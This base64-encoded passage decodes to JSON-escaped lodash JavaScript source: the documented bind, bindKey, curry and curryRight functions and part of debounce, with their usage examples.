AgICogQHBhcmFtIHsuLi4qfSBbcGFydGlhbHNdIFRoZSBhcmd1bWVudHMgdG8gYmUgcGFydGlhbGx5IGFwcGxpZWQuXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBuZXcgYm91bmQgZnVuY3Rpb24uXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIGZ1bmN0aW9uIGdyZWV0KGdyZWV0aW5nLCBwdW5jdHVhdGlvbikge1xuICAgICAqICAgcmV0dXJuIGdyZWV0aW5nICsgJyAnICsgdGhpcy51c2VyICsgcHVuY3R1YXRpb247XG4gICAgICogfVxuICAgICAqXG4gICAgICogdmFyIG9iamVjdCA9IHsgJ3VzZXInOiAnZnJlZCcgfTtcbiAgICAgKlxuICAgICAqIHZhciBib3VuZCA9IF8uYmluZChncmVldCwgb2JqZWN0LCAnaGknKTtcbiAgICAgKiBib3VuZCgnIScpO1xuICAgICAqIC8vID0+ICdoaSBmcmVkISdcbiAgICAgKlxuICAgICAqIC8vIEJvdW5kIHdpdGggcGxhY2Vob2xkZXJzLlxuICAgICAqIHZhciBib3VuZCA9IF8uYmluZChncmVldCwgb2JqZWN0LCBfLCAnIScpO1xuICAgICAqIGJvdW5kKCdoaScpO1xuICAgICAqIC8vID0+ICdoaSBmcmVkISdcbiAgICAgKi9cbiAgICB2YXIgYmluZCA9IGJhc2VSZXN0KGZ1bmN0aW9uKGZ1bmMsIHRoaXNBcmcsIHBhcnRpYWxzKSB7XG4gICAgICB2YXIgYml0bWFzayA9IFdSQVBfQklORF9GTEFHO1xuICAgICAgaWYgKHBhcnRpYWxzLmxlbmd0aCkge1xuICAgICAgICB2YXIgaG9sZGVycyA9IHJlcGxhY2VIb2xkZXJzKHBhcnRpYWxzLCBnZXRIb2xkZXIoYmluZCkpO1xuICAgICAgICBiaXRtYXNrIHw9IFdSQVBfUEFSVElBTF9GTEFHO1xuICAgICAgfVxuICAgICAgcmV0dXJuIGNyZWF0ZVdyYXAoZnVuYywgYml0bWFzaywgdGhpc0FyZywgcGFydGlhbHMsIGhvbGRlcnMpO1xuICAgIH0pO1xuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIGZ1bmN0aW9uIHRoYXQgaW52b2tlcyB0aGUgbWV0aG9kIGF0IGBvYmplY3Rba2V5XWAgd2l0aCBgcGFydGlhbHNgXG4gICAgICogcHJlcGVuZGVkIHRvIHRoZSBhcmd1bWVudHMgaXQgcmVjZWl2ZXMuXG4gICAgICpcbiAgICAgKiBUaGlzIG1ldGhvZCBkaWZmZXJzIGZyb20gYF8uYmluZGAgYnkgYWxsb3dpbmcgYm91bmQgZnVuY3Rpb25zIHRvIHJlZmVyZW5jZVxuICAgICAqIG1ldGhvZHMgdGhhdCBtYXkgYmUgcmVkZWZpbmVkIG9yIGRvbid0IHlldCBleGlzdC4gU2VlXG4gICAgICogW1BldGVyIE1pY2hhdXgncyBhcnRpY2xlXShodHRwOi8vcGV0ZXIubWljaGF1eC5jYS9hcnRpY2xlcy9sYXp5LWZ1bmN0aW9uLWRlZmluaXRpb24tcGF0dGVybilcbiAgICAgKiBmb3IgbW9yZSBkZXRhaWxzLlxuICAgICAqXG4gICAgICogVGhlIGBfLmJpbmRLZXkucGxhY2Vob2xkZXJgIHZhbHVlLCB3aGljaCBkZWZhdWx0cyB0byBgX2AgaW4gbW9ub2xpdGhpY1xuICAgICAqIGJ1aWxkcywgbWF5IGJlIHVzZWQgYXMgYSBwbGFjZWhvbGRlciBmb3IgcGFydGlhbGx5IGFwcGxpZWQgYXJndW1lbnRzLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDAuMTAuMFxuICAgICAqIEBjYXRlZ29yeSBGdW5jdGlvblxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIG9iamVjdCB0byBpbnZva2UgdGhlIG1ldGhvZCBvbi5cbiAgICAgKiBAcGFyYW0ge3N0cmluZ30ga2V5IFRoZSBrZXkgb2YgdGhlIG1ldGhvZC5cbiAgICAgKiBAcGFyYW0gey4uLip9IFtwYXJ0aWFsc10gVGhlIGFyZ3VtZW50cyB0byBiZSBwYXJ0aWFsbHkgYXBwbGllZC5cbiAgICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIG5ldyBib3VuZCBmdW5jdGlvbi5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIG9iamVjdCA9IHtcbiAgICAgKiAgICd1c2VyJzogJ2ZyZWQnLFxuICAgICAqICAgJ2dyZWV0JzogZnVuY3Rpb24oZ3JlZXRpbmcsIHB1bmN0dWF0aW9uKSB7XG4gICAgICogICAgIHJldHVybiBncmVldGluZyArICcgJyArIHRoaXMudXNlciArIHB1bmN0dWF0aW9uO1xuICAgICAqICAgfVxuICAgICAqIH07XG4gICAgICpcbiAgICAgKiB2YXIgYm91bmQgPSBfLmJpbmRLZXkob2JqZWN0LCAnZ3JlZXQnLCAnaGknKTtcbiAgICAgKiBib3VuZCgnIScpO1xuICAgICAqIC8vID0+ICdoaSBmcmVkISdcbiAgICAgKlxuICAgICAqIG9iamVjdC5ncmVldCA9IGZ1bmN0aW9uKGdyZWV0aW5nLCBwdW5jdHVhdGlvbikge1xuICAgICAqICAgcmV0dXJuIGdyZWV0aW5nICsgJ3lhICcgKyB0aGlzLnVzZXIgKyBwdW5jdHVhdGlvbjtcbiAgICAgKiB9O1xuICAgICAqXG4gICAgICogYm91bmQoJyEnKTtcbiAgICAgKiAvLyA9PiAnaGl5YSBmcmVkISdcbiAgICAgKlxuICAgICAqIC8vIEJvdW5kIHdpdGggcGxhY2Vob2xkZXJzLlxuICAgICAqIHZhciBib3VuZCA9IF8uYmluZEtleShvYmplY3QsICdncmVldCcsIF8sICchJyk7XG4gICAgICogYm91bmQoJ2hpJyk7XG4gICAgICogLy8gPT4gJ2hpeWEgZnJlZCEnXG4gICAgICovXG4gICAgdmFyIGJpbmRLZXkgPSBiYXNlUmVzdChmdW5jdGlvbihvYmplY3QsIGtleSwgcGFydGlhbHMpIHtcbiAgICAgIHZhciBiaXRtYXNrID0gV1JBUF9CSU5EX0ZMQUcgfCBXUkFQX0JJTkRfS0VZX0ZMQUc7XG4gICAgICBpZiAocGFydGlhbHMubGVuZ3RoKSB7XG4gICAgICAgIHZhciBob2xkZXJzID0gcmVwbGFjZUhvbGRlcnMocGFydGlhbHMsIGdldEhvbGRlcihiaW5kS2V5KSk7XG4gICAgICAgIGJpdG1hc2sgfD0gV1JBUF9QQVJUSUFMX0ZMQUc7XG4gICAgICB9XG4gICAgICByZXR1cm4gY3JlYXRlV3JhcChrZXksIGJpdG1hc2ssIG9iamVjdCwgcGFydGlhbHMsIGhvbGRlcnMpO1xuICAgIH0pO1xuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIGZ1bmN0aW9uIHRoYXQgYWNjZXB0cyBhcmd1bWVudHMgb2YgYGZ1bmNgIGFuZCBlaXRoZXIgaW52b2tlc1xuICAgICAqIGBmdW5jYCByZXR1cm5pbmcgaXRzIHJlc3VsdCwgaWYgYXQgbGVhc3QgYGFyaXR5YCBudW1iZXIgb2YgYXJndW1lbnRzIGhhdmVcbiAgICAgKiBiZWVuIHByb3ZpZGVkLCBvciByZXR1cm5zIGEgZnVuY3Rpb24gdGhhdCBhY2NlcHRzIHRoZSByZW1haW5pbmcgYGZ1bmNgXG4gICAgICogYXJndW1lbnRzLCBhbmQgc28gb24uIFRoZSBhcml0eSBvZiBgZnVuY2AgbWF5IGJlIHNwZWNpZmllZCBpZiBgZnVuYy5sZW5ndGhgXG4gICAgICogaXMgbm90IHN1ZmZpY2llbnQuXG4gICAgICpcbiAgICAgKiBUaGUgYF8uY3VycnkucGxhY2Vob2xkZXJgIHZhbHVlLCB3aGljaCBkZWZhdWx0cyB0byBgX2AgaW4gbW9ub2xpdGhpYyBidWlsZHMsXG4gICAgICogbWF5IGJlIHVzZWQgYXMgYSBwbGFjZWhvbGRlciBmb3IgcHJvdmlkZWQgYXJndW1lbnRzLlxuICAgICAqXG4gICAgICogKipOb3RlOioqIFRoaXMgbWV0aG9kIGRvZXNuJ3Qgc2V0IHRoZSBcImxlbmd0aFwiIHByb3BlcnR5IG9mIGN1cnJpZWQgZnVuY3Rpb25zLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDIuMC4wXG4gICAgICogQGNhdGVnb3J5IEZ1bmN0aW9uXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gZnVuYyBUaGUgZnVuY3Rpb24gdG8gY3VycnkuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFthcml0eT1mdW5jLmxlbmd0aF0gVGhlIGFyaXR5IG9mIGBmdW5jYC5cbiAgICAgKiBAcGFyYW0tIHtPYmplY3R9IFtndWFyZF0gRW5hYmxlcyB1c2UgYXMgYW4gaXRlcmF0ZWUgZm9yIG1ldGhvZHMgbGlrZSBgXy5tYXBgLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IGN1cnJpZWQgZnVuY3Rpb24uXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBhYmMgPSBmdW5jdGlvbihhLCBiLCBjKSB7XG4gICAgICogICByZXR1cm4gW2EsIGIsIGNdO1xuICAgICAqIH07XG4gICAgICpcbiAgICAgKiB2YXIgY3VycmllZCA9IF8uY3VycnkoYWJjKTtcbiAgICAgKlxuICAgICAqIGN1cnJpZWQoMSkoMikoMyk7XG4gICAgICogLy8gPT4gWzEsIDIsIDNdXG4gICAgICpcbiAgICAgKiBjdXJyaWVkKDEsIDIpKDMpO1xuICAgICAqIC8vID0+IFsxLCAyLCAzXVxuICAgICAqXG4gICAgICogY3VycmllZCgxLCAyLCAzKTtcbiAgICAgKiAvLyA9PiBbMSwgMiwgM11cbiAgICAgKlxuICAgICAqIC8vIEN1cnJpZWQgd2l0aCBwbGFjZWhvbGRlcnMuXG4gICAgICogY3VycmllZCgxKShfLCAzKSgyKTtcbiAgICAgKiAvLyA9PiBbMSwgMiwgM11cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBjdXJyeShmdW5jLCBhcml0eSwgZ3VhcmQpIHtcbiAgICAgIGFyaXR5ID0gZ3VhcmQgPyB1bmRlZmluZWQgOiBhcml0eTtcbiAgICAgIHZhciByZXN1bHQgPSBjcmVhdGVXcmFwKGZ1bmMsIFdSQVBfQ1VSUllfRkxBRywgdW5kZWZpbmVkLCB1bmRlZmluZWQsIHVuZGVmaW5lZCwgdW5kZWZpbmVkLCB1bmRlZmluZWQsIGFyaXR5KTtcbiAgICAgIHJlc3VsdC5wbGFjZWhvbGRlciA9IGN1cnJ5LnBsYWNlaG9sZGVyO1xuICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpcyBsaWtlIGBfLmN1cnJ5YCBleGNlcHQgdGhhdCBhcmd1bWVudHMgYXJlIGFwcGxpZWQgdG8gYGZ1bmNgXG4gICAgICogaW4gdGhlIG1hbm5lciBvZiBgXy5wYXJ0aWFsUmlnaHRgIGluc3RlYWQgb2YgYF8ucGFydGlhbGAuXG4gICAgICpcbiAgICAgKiBUaGUgYF8uY3VycnlSaWdodC5wbGFjZWhvbGRlcmAgdmFsdWUsIHdoaWNoIGRlZmF1bHRzIHRvIGBfYCBpbiBtb25vbGl0aGljXG4gICAgICogYnVpbGRzLCBtYXkgYmUgdXNlZCBhcyBhIHBsYWNlaG9sZGVyIGZvciBwcm92aWRlZCBhcmd1bWVudHMuXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogVGhpcyBtZXRob2QgZG9lc24ndCBzZXQgdGhlIFwibGVuZ3RoXCIgcHJvcGVydHkgb2YgY3VycmllZCBmdW5jdGlvbnMuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMy4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgRnVuY3Rpb25cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBmdW5jIFRoZSBmdW5jdGlvbiB0byBjdXJyeS5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gW2FyaXR5PWZ1bmMubGVuZ3RoXSBUaGUgYXJpdHkgb2YgYGZ1bmNgLlxuICAgICAqIEBwYXJhbS0ge09iamVjdH0gW2d1YXJkXSBFbmFibGVzIHVzZSBhcyBhbiBpdGVyYXRlZSBmb3IgbWV0aG9kcyBsaWtlIGBfLm1hcGAuXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBuZXcgY3VycmllZCBmdW5jdGlvbi5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIGFiYyA9IGZ1bmN0aW9uKGEsIGIsIGMpIHtcbiAgICAgKiAgIHJldHVybiBbYSwgYiwgY107XG4gICAgICogfTtcbiAgICAgKlxuICAgICAqIHZhciBjdXJyaWVkID0gXy5jdXJyeVJpZ2h0KGFiYyk7XG4gICAgICpcbiAgICAgKiBjdXJyaWVkKDMpKDIpKDEpO1xuICAgICAqIC8vID0+IFsxLCAyLCAzXVxuICAgICAqXG4gICAgICogY3VycmllZCgyLCAzKSgxKTtcbiAgICAgKiAvLyA9PiBbMSwgMiwgM11cbiAgICAgKlxuICAgICAqIGN1cnJpZWQoMSwgMiwgMyk7XG4gICAgICogLy8gPT4gWzEsIDIsIDNdXG4gICAgICpcbiAgICAgKiAvLyBDdXJyaWVkIHdpdGggcGxhY2Vob2xkZXJzLlxuICAgICAqIGN1cnJpZWQoMykoMSwgXykoMik7XG4gICAgICogLy8gPT4gWzEsIDIsIDNdXG4gICAgICovXG4gICAgZnVuY3Rpb24gY3VycnlSaWdodChmdW5jLCBhcml0eSwgZ3VhcmQpIHtcbiAgICAgIGFyaXR5ID0gZ3VhcmQgPyB1bmRlZmluZWQgOiBhcml0eTtcbiAgICAgIHZhciByZXN1bHQgPSBjcmVhdGVXcmFwKGZ1bmMsIFdSQVBfQ1VSUllfUklHSFRfRkxBRywgdW5kZWZpbmVkLCB1bmRlZmluZWQsIHVuZGVmaW5lZCwgdW5kZWZpbmVkLCB1bmRlZmluZWQsIGFyaXR5KTtcbiAgICAgIHJlc3VsdC5wbGFjZWhvbGRlciA9IGN1cnJ5UmlnaHQucGxhY2Vob2xkZXI7XG4gICAgICByZXR1cm4gcmVzdWx0O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBkZWJvdW5jZWQgZnVuY3Rpb24gdGhhdCBkZWxheXMgaW52b2tpbmcgYGZ1bmNgIHVudGlsIGFmdGVyIGB3YWl0YFxuICAgICAqIG1pbGxpc2Vjb25kcyBoYXZlIGVsYXBzZWQgc2luY2UgdGhlIGxhc3QgdGltZSB0aGUgZGVib3VuY2VkIGZ1bmN0aW9uIHdhc1xuICAgICAqIGludm9rZWQuIFRoZSBkZWJvdW5jZWQgZnVuY3Rpb24gY29tZXMgd2l0aCBhIGBjYW5jZWxgIG1ldGhvZCB0byBjYW5jZWxcbiAgICAgKiBkZWxheWVkIGBmdW5jYCBpbnZvY2F0aW9ucyBhbmQgYSBgZmx1c2hgIG1ldGhvZCB0byBpbW1lZGlhdGVseSBpbnZva2UgdGhlbS5cbiAgICAgKiBQcm92aWRlIGBvcHRpb25zYCB0byBpbmRpY2F0ZSB3aGV0aGVyIGBmdW5jYCBzaG91bGQgYmUgaW52b2tlZCBvbiB0aGVcbiAgICAgKiBsZWFkaW5nIGFuZC9vciB0cmFpbGluZyBlZGdlIG9mIHRoZSBgd2FpdGAgdGltZW91dC4gVGhlIGBmdW5jYCBpcyBpbnZva2VkXG4gICAgICogd2l0aCB0aGUgbGFzdCBhcmd1bWVudHMgcHJvdmlkZWQgdG8gdGhlIGRlYm91bmNlZCBmdW5jdGlvbi4gU3Vic2VxdWVudFxuICAgICAqIGNhbGxzIHRvIHRoZSBkZWJvdW5jZWQgZnVuY3Rpb24gcmV0dXJuIHRoZSByZXN1bHQgb2YgdGhlIGxhc3QgYGZ1bmNgXG4gICAgICogaW52b2NhdGlvbi5cbiAgICAgKlxuICAgICAqICoqTm90ZToqKiBJZiBgbGVhZGluZ2AgYW5kIGB0cmFpbGluZ2Agb3B0aW9ucyBhcmUgYHRydWVgLCBgZnVuY2AgaXNcbiAgICAgKiBpbnZva2VkIG9uIHRoZSB0cmFpbGluZyBlZGdlIG9mIHRoZSB0aW1lb3V0IG9ubHkgaWYgdGhlIGRlYm91bmNlZCBmdW5jdGlvblxuICAgICAqIGlzIGludm9rZWQgbW9yZSB0aGFuIG9uY2UgZHVyaW5nIHRoZSBgd2FpdGAgdGltZW91dC5cbiAgICAgKlxuICAgICAqIElmIGB3YWl0YCBpcyBgMGAgYW5kIGBsZWFkaW5nYCBpcyBgZmFsc2VgLCBgZnVuY2AgaW52b2NhdGlvbiBpcyBkZWZlcnJlZFxuICAgICAqIHVudGlsIHRvIHRoZSBuZXh0IHRpY2ssIHNpbWlsYXIgdG8gYHNldFRpbWVvdXRgIHdpdGggYSB0aW1lb3V0IG9mIGAwYC5cbiAgICAgKlxuICAgICAqIFNlZSBbRGF2aWQgQ29yYmFjaG8ncyBhcnRpY2xlXShodHRwczovL2Nzcy10cmlja3MuY29tL2RlYm91bmNpbmctdGhyb3R0bGluZy1leHBsYWluZWQtZXhhbXBsZXMvKVxuICAgICAqIGZvciBkZXRhaWxzIG92ZXIgdGhlIGRpZmZlcmVuY2VzIGJldHdlZW4gYF8uZGVib3VuY2VgIGFuZCBgXy50aHJvdHRsZWAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMC4xLjBcbiAgICAgKiBAY2F0ZWdvcnkgRnVuY3Rpb25cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBmdW5jIFRoZSBmdW5jdGlvbiB0byBkZWJvdW5jZS5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gW3dhaXQ9MF0gVGhlIG51bWJlciBvZiBtaWxsaXNlY29uZHMgdG8gZGVsYXkuXG4gICAgICogQHBhcmFtIHtPYmplY3R9IFtvcHRpb25zPXt9XSBUaGUgb3B0aW9ucyBvYmplY3QuXG4gICAgICogQHBhcmFtIHtib29sZWFufSBbb3B0aW9ucy5sZWFkaW5nPWZhbHNlXVxuICAgICAqICBTcGVjaWZ5IGludm9raW5nIG9uIHRoZSBsZWFkaW5nIGVkZ2Ugb2YgdGhlIHRpbWVvdXQuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtvcHRpb25zLm1heFdhaXRdXG4gICAgICogIFRoZSBtYXhpbXVtIHRpbWUgYGZ1bmNgIGlzIGFsbG93ZWQgdG8gYmUgZGVsYXllZCBiZWZvcmUgaXQncyBpbnZva2VkLlxuICAgICAqIEBwYXJhbSB7Ym9vbGVhbn0gW29wdGlvbnMudHJhaWxpbmc9dHJ1ZV1cbiAgICAgKiAgU3BlY2lmeSBpbnZva2luZyBvbiB0aGUgdHJhaWxpbmcgZWRnZSBvZiB0aGUgdGltZW91dC5cbiAgICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIG5ldyBkZWJvdW5jZWQgZnVuY3Rpb24uXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIC8vIEF2b2lkIGNvc3RseSBjYWxjdWxhdGlvbnMgd2hpbGUgdGhlIHdpbmRvdyBzaXplIGlzIGluIGZsdXguXG4gICAgICogalF1ZXJ5KHdpbmRvdykub24oJ3Jlc2l6ZScsIF8uZGVib3VuY2UoY2FsY3VsYXRlTGF5b3V0LCAxNTApKTtcbiAgICAgKlxuICAgICAqIC8vIEludm9rZSBgc2VuZE1haWxgIHdoZW4gY2xpY2tlZCwgZGVib3VuY2luZyBzdWJzZXF1ZW50IGNhbGxzLlxuICAgICAqIGpRdWVyeShlbGVtZW50KS5vbignY2xpY2snLCBfLmRlYm91bmNlKHNlbmRNYWlsLCAzMDAsIHtcbiAgICAgKiAgICdsZWFkaW5nJzogdHJ1ZSxcbiAgICAgKiAgICd0cmFpbGluZyc6IGZhbHNlXG4gICAgICogfSkpO1xuICAgICAqXG4gICAgICogLy8gRW5zdXJlIGBiYXRjaExvZ2AgaXMgaW52b2tlZCBvbmNlIGFmdGVyIDEgc2Vjb25kIG9mIGRlYm91bmNlZCBjYWxscy5cbiAgICAgKiB2YXIgZGVib3VuY2VkID0gXy5kZWJvdW5jZShiYXRjaExvZywgMjUwLCB7ICdtYXhXYWl0JzogMTAwMCB9KTtcbiAgICAgKiB2YXIgc291cmNlID0gbmV3IEV2ZW50U291cmNlKCcvc3RyZWFtJyk7XG4gICAgICogalF1ZXJ5KHNvdXJjZSkub24oJ21lc3NhZ2UnLCBkZWJvdW5jZWQpO1xuICAgICAqXG4gICAgICogLy8gQ2FuY2VsIHRoZSB0cmFpbGluZyBkZWJvdW5jZWQgaW52b2NhdGlvbi5cbiAgICAgKiBqUXVlcnkod2luZG93KS5vbigncG9wc3RhdGUnLCBkZWJvdW5jZWQuY2FuY2VsKTtcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBkZWJvdW5jZShmdW5jLCB3YWl0LCBvcHRpb25zKSB7XG4gICAgICB2YXIgbGFzdEFyZ3MsXG4gICAgICAgICAgbGFzdFRoaXMsXG4gICAgICAgICAgbWF4V2FpdCxcbiAgICAgICAgICByZXN1bHQsXG4gICAgICAgICAgdGltZXJJZCxcbiAgICAgICAgICBsYXN0Q2FsbFRpbWUsXG4gICAgICAgICAgbGFzdEludm9rZVRpbWUgPSAwLFxuICAgICAgICAgIGxlYWRpbmcgPSBmYWxzZSxcbiAgICAgICAgICBtYXhpbmcgPSBmYWxzZSxcbiAgICAgICAgICB0cmFpbGluZyA9IHRydWU7XG5cbiAgICAgIGlmICh0eXBlb2YgZnVuYyAhPSAnZnVuY3Rpb24nKSB7XG4gICAgICAgIHRocm93IG5ldyBUeXBlRXJyb3IoRlVOQ19FUlJPUl9URVhUKTtcbiAgICAgIH1cbiAgICAgIHdhaXQgPSB0b051bWJlcih3YWl0KSB8fCAwO1xuICAgICAgaWYgKGlzT2JqZWN0KG9wdGlvbnMpKSB7XG4gICAgICAgIGxlYWRpbmcgPSAhIW9wdGlvbnMubGVhZGluZztcbiAgICAgICAgbWF4aW5nID0gJ21heFdhaXQnIGluIG9wdGlvbnM7XG4gICAgICAgIG1heFdhaXQgPSBtYXhpbmcgPyBuYXRpdmVNYXgodG9OdW1iZXIob3B0aW9ucy5tYXhXYWl0KSB8fCAwLCB3YWl0KSA6IG1heFdhaXQ7XG4gICAgICAgIHRyYWlsaW5nID0gJ3RyYWlsaW5nJyBpbiBvcHRpb25zID8gISFvcHRpb25zLnRyYWlsaW5nIDogdHJhaWxpbmc7XG4gICAgICB9XG5cbiAgICAgIGZ1bmN0aW9uIGludm9rZUZ1bmModGltZSkge1xuICAgICAgICB2YXIgYXJncyA9IGxhc3RBcmdzLFxuICAgICAgICAgICAgdGhpc0FyZyA9IGxhc3RUaGlzO1xuXG4gICAgICAgIGxhc3RBcmdzID0gbGFzdFRoaXMgPSB1bmRlZmluZWQ7XG4gICAgICAgIGxhc3RJbnZva2VUaW1lID0gdGltZTtcbiAgICAgICAgcmVzdWx0ID0gZnVuYy5hcHBseSh0aGlzQXJnLCBhcmdzKTtcbiAgICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICAgIH1cblxuICAgICAgZnVuY3Rpb24gbGVhZGluZ0VkZ2UodGltZSkge1xuICAgICAgICAvLyBSZXNldCBhbnkgYG1heFdhaXRgIHRpbWVyLlxuICAgICAgICBsYXN0SW52b2tlVGltZSA9IHRpbWU7XG4gICAgICAgIC8vIFN0YXJ0IHRoZSB0aW1lciBmb3IgdGhlIHRyYWlsaW5nIGVkZ2UuXG4gICAgICAgIHRpbWVySWQgPSBzZXRUaW1lb3V0KHRpbWVyRXhwaXJlZCwgd2FpdCk7XG4gICAgICAgIC8vIEludm9rZSB0aGUgbGVhZGluZyBlZGdlLlxuICAgICAgICByZXR1cm4gbGVhZGluZyA/IGludm9rZUZ1bmModGltZSkgOiByZXN1bHQ7XG4gICAgICB9XG5cbiAgICAgIGZ1bmN0aW9uIHJlbWFpbmluZ1dhaXQodGltZSkge1xuICAgICAgICB2YXIgdGltZVNpbmNlTGFzdENhbGwgPSB0aW1lIC0gbGFzdENhbGxUaW1lLFxuICAgICAgICAgICAgdGltZVNpbmNlTGFzdEludm9rZSA9IHRpbWUgLSBsYXN0SW52b2tlVGltZSxcbiAgICAgICAgICAgIHRpbWVXYWl0aW5nID0gd2FpdCAtIHRpbWVTaW5jZUxhc3RDYWxsO1xuXG4gICAgICAgIHJldHVybiBtYXhpbmdcbiAgICAgICAgICA/IG5hdGl2ZU1pbih0aW1lV2FpdGluZywgbWF4V2FpdCAtIHRpbWVTaW5jZUxhc3RJbnZva2UpXG4gICAgICAgICAgOiB0aW1lV2FpdGluZztcbiAgICAgIH1cblxuICAgICAgZnVuY3Rpb24gc2hvdWxkSW52b2tlKHRpbWUpIHtcbiAgICAgICAgdmFyIHRpbWVTaW5jZUxhc3RDYWxsID0gdGltZSAtIGxhc3RDYWxsVGltZSxcbiAgICAgICAgICAgIHRpbWVTaW5jZUxhc3RJbnZva2UgPSB0aW1lIC0gbGFzdEludm9rZVRpbWU7XG5cbiAgICAgICAgLy8gRWl0aGVyIHRoaXMgaXMgdGhlIGZpcnN0IGNhbGwsIGFjdGl2aXR5IGhhcyBzdG9wcGVkIGFuZCB3ZSdyZSBhdCB0aGVcbiAgICAgICAgLy8gdHJhaWxpbmcgZWRnZSwgdGhlIHN5c3RlbSB0aW1lIGhhcyBnb25lIGJhY2t3YXJkcyBhbmQgd2UncmUgdHJlYXRpbmdcbiAgICAgICAgLy8gaXQgYXMgdGhlIHRyYWlsaW5nIGVkZ2UsIG9yIHdlJ3ZlIGhpdCB0aGUgYG1heFdhaXRgIGxpbWl0LlxuICAgICAgICByZXR1cm4gKGxhc3RDYWxsVGltZSA9PT0gdW5kZWZpbmVkIHx8ICh0aW1lU2luY2VMYXN0Q2FsbCA+PSB3YWl0KSB8fFxuICAgICAgICAgICh0aW1lU2luY2VMYXN0Q2FsbCA8IDApIHx8IChtYXhpbmcgJiYgdGltZVNpbmNlTGFzdEludm9rZSA+PSBtYXhXYWl0KSk7XG4gICAgICB9XG5cbiAgICAgIGZ1bmN0aW9uIHRpbWVyRXhwaXJlZCgpIHtcbiAgICAgICAgdmFyIHRpbWUgPSBub3coKTtcbiAgICAgICAgaWYgKHNob3VsZEludm9rZSh0aW1lKSkge1xuICAgICAgICAgIHJldHVybiB0cmFpbGluZ0VkZ2UodGltZSk7XG4gICAgICAgIH1cbiAgICAgICAgLy8gUmVzdGFydCB0aGUgdGltZXIuXG4gICAgICAgIHRpbWVySWQgPSBzZXRUaW1lb3V0KHRpbWVyRXhwaXJlZCwgcmVtYWluaW5nV2FpdCh0aW1lKSk7XG4gICAgICB9XG5cbiAgICAgIGZ1bmN0aW9uIHRyYWlsaW5nRWRnZSh0aW1lKSB7XG4gICAgICAgIHRpbWVySWQgPSB1bmRlZmluZWQ7XG5cbiAgICAgICAgLy8gT25seSBpbnZva2UgaWYgd2UgaGF2ZSBgbGFzdEFyZ3NgIHdoaWNoIG1lYW5zIGBmdW5jYCBoYXMgYmVlblxuICAgICAgICAvLyBkZWJvdW5jZWQgYXQgbGVhc3Qgb25jZS5cbiAgICAgICAgaWYgKHRyYWlsaW5nICYmIGxhc3RBcmdzKSB7XG4gICAgICAgICAgcmV0dXJuIGludm9rZUZ1bmModGltZSk7XG4gICAgICAgIH1cbiAgICAgICAgbGFzdEFyZ3MgPSBsYXN0VGhpcyA9IHVuZGVmaW5lZDtcbiAgICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICAgIH1cblxuICAgICAgZnVuY3Rpb24gY2FuY2VsKCkge1xuICAgICAgICBpZiAodGltZXJJZCAhPT0gdW5kZWZpbmVkKSB7XG4gICAgICAgICAgY2xlYXJUaW1lb3V0KHRpbWVySWQpO1xuICAgICAgICB9XG4gICAgICAgIGxhc3RJbnZva2VUaW1lID0gMDtcbiAgICAgICAgbGFzdEFyZ3MgPSBsYXN0Q2FsbFRpbWUgPSBsYXN0VGhpcyA9IHRpbWVySWQgPSB1bmRlZmluZWQ7XG4gICAgICB9XG5cbiAgICAgIGZ1bmN0aW9uIGZsdXNoKCkge1xuICAgICAgICByZXR1cm4gdGltZXJJZCA9PT0gdW5kZWZpbmVkID8gcmVzdWx0IDogdHJhaWxpbmdFZGdlKG5vdygpKTtcbiAgICAgIH1cblxuICAgICAgZnVuY3Rpb24gZGVib3VuY2VkKCkge1xuICAgICAgICB2YXIgdGltZSA9IG5vdygpLFxuICAgICAgICAgICAgaXNJbnZva2luZyA9IHNob3VsZEludm9rZSh0aW1lKTtcblxuICAgICAgICBsYXN0QXJncyA9IGFyZ3VtZW50cztcbiAgICAgICAgbGFzdFRoaXMgPSB0aGlzO1xuICAgICAgICBsYXN0Q2FsbFRpbWUgPSB0aW1lO1xuXG4gICAgICAgIGlmIChpc0ludm9raW5nKSB7XG4gICAgICAgICAgaWYgKHRpbWVySWQgPT09IHVuZGVmaW5lZCkge1xuICAgICAgICAgICAgcmV0dXJuIGxlYWRpbmdFZGdlKGxhc3RD